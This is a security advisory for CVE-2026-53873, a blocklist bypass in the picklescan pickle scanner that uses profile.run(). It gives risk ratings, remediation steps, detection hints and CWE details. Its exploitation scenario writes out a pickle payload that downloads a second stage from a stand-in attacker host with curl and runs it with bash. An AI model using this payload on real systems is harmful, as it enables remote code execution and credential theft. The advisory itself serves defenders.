CVE-2026-53873: picklescan: blocklist bypass allows arbitrary code exec
CRITICAL CISA: ATTENDpicklescan, a widely-deployed security scanner used to detect malicious pickle files in AI/ML pipelines, contains an incomplete blocklist that fails to block Python's module-level profile.run() function — allowing an attacker to embed arbitrary exec() payloads inside a pickle file that picklescan will declare clean. This is a false-negative vulnerability in a security control, meaning any organization using picklescan as a gate before loading model files has a systematic blind spot that can be trivially exploited (CVSS 9.8, no privileges, no user interaction required). While no active exploitation or public PoC has surfaced yet and it is not in CISA KEV, the attack complexity is low enough that weaponization is a matter of days from public advisory; the 68 historical CVEs in the same package further signal a pattern of incomplete blocklist maintenance. Upgrade picklescan to 1.0.4 or later immediately, add fickling as a secondary scanner with a different analysis approach, and audit any pickle files that passed through vulnerable scanner versions.
What is the risk?
Critical. The vulnerability resides in a security control rather than an application, creating a systematic blind spot across every pipeline that depends on picklescan as its model-file safety gate. CVSS 9.8 with a network-accessible attack vector, zero prerequisites, and no user interaction compounds urgency significantly. The 68 historical CVEs in the same package signal a pattern of incomplete blocklist maintenance and reduced confidence in the tool's overall security posture. Organizations with automated model ingestion pipelines — particularly those pulling from public registries like Hugging Face — face the highest immediate exposure. The effective impact is that a trusted security scanner becomes a liability, actively generating false confidence.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| picklescan | pip | — | No patch |
Do you use picklescan? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Immediately upgrade picklescan to version 1.0.4 or later across all environments and CI/CD runners.
-
Deploy fickling as a secondary, defense-in-depth pickle scanner — it uses a different AST-based analysis approach not subject to this blocklist bypass.
-
Audit recent model ingestion logs: any pickle file scanned by picklescan < 1.0.4 should be rescanned with the patched version or quarantined pending review.
-
For rapid detection: grep or yara-scan pickle files for the byte sequences corresponding to the 'profile' module name and '.run(' string — no legitimate model checkpoint has reason to reference this module.
-
Long-term: migrate model storage to safetensors format, which eliminates the pickle deserialization attack surface entirely.
-
Where safetensors migration is not feasible, enforce torch.load() with weights_only=True (PyTorch >= 2.0) as an additional deserializer-level control.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-53873?
picklescan, a widely-deployed security scanner used to detect malicious pickle files in AI/ML pipelines, contains an incomplete blocklist that fails to block Python's module-level profile.run() function — allowing an attacker to embed arbitrary exec() payloads inside a pickle file that picklescan will declare clean. This is a false-negative vulnerability in a security control, meaning any organization using picklescan as a gate before loading model files has a systematic blind spot that can be trivially exploited (CVSS 9.8, no privileges, no user interaction required). While no active exploitation or public PoC has surfaced yet and it is not in CISA KEV, the attack complexity is low enough that weaponization is a matter of days from public advisory; the 68 historical CVEs in the same package further signal a pattern of incomplete blocklist maintenance. Upgrade picklescan to 1.0.4 or later immediately, add fickling as a secondary scanner with a different analysis approach, and audit any pickle files that passed through vulnerable scanner versions.
Is CVE-2026-53873 actively exploited?
No confirmed active exploitation of CVE-2026-53873 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-53873?
1. Immediately upgrade picklescan to version 1.0.4 or later across all environments and CI/CD runners. 2. Deploy fickling as a secondary, defense-in-depth pickle scanner — it uses a different AST-based analysis approach not subject to this blocklist bypass. 3. Audit recent model ingestion logs: any pickle file scanned by picklescan < 1.0.4 should be rescanned with the patched version or quarantined pending review. 4. For rapid detection: grep or yara-scan pickle files for the byte sequences corresponding to the 'profile' module name and '.run(' string — no legitimate model checkpoint has reason to reference this module. 5. Long-term: migrate model storage to safetensors format, which eliminates the pickle deserialization attack surface entirely. 6. Where safetensors migration is not feasible, enforce torch.load() with weights_only=True (PyTorch >= 2.0) as an additional deserializer-level control.
What systems are affected by CVE-2026-53873?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, MLOps CI/CD, model repositories.
What is the CVSS score for CVE-2026-53873?
CVE-2026-53873 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.46%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011.000 Unsafe AI Artifacts AML.T0018.002 Embed Malware AML.T0107 Exploitation for Defense Evasion Compliance Controls Affected
What are the technical details?
Original Advisory
picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.
Exploitation Scenario
An attacker targets an organization that ingests community-contributed AI models. They craft a malicious pickle file where a pickled object's __reduce__ method calls profile.run('import subprocess; subprocess.Popen(["curl","-s","https://attacker.com/stage2","-o","/tmp/s"]);import os;os.system("bash /tmp/s")'). The file is uploaded to a shared model registry or artifact store. The CI/CD pipeline scans it with vulnerable picklescan, which traverses the pickle opcodes, finds no blocklisted identifiers (profile.run is absent from the blocklist), and reports zero threats. The artifact is promoted to staging and eventually deserialized by a training worker or inference server, executing the payload with full process privileges — enabling reverse shell, extraction of GPU node credentials from environment variables, or lateral movement to internal ML infrastructure.
Weaknesses (CWE)
CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
- [Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-3490 10.0 picklescan: blocklist bypass enables full RCE
Same package: picklescan GHSA-vvpj-8cmc-gx39 10.0 picklescan: security flaw enables exploitation
Same package: picklescan GHSA-g38g-8gr9-h9xp 9.8 picklescan: Allowlist Bypass evades input filtering
Same package: picklescan CVE-2025-1945 9.8 picklescan: ZIP flag bypass enables RCE in PyTorch models
Same package: picklescan GHSA-7wx9-6375-f5wh 9.8 picklescan: Allowlist Bypass evades input filtering
Same package: picklescan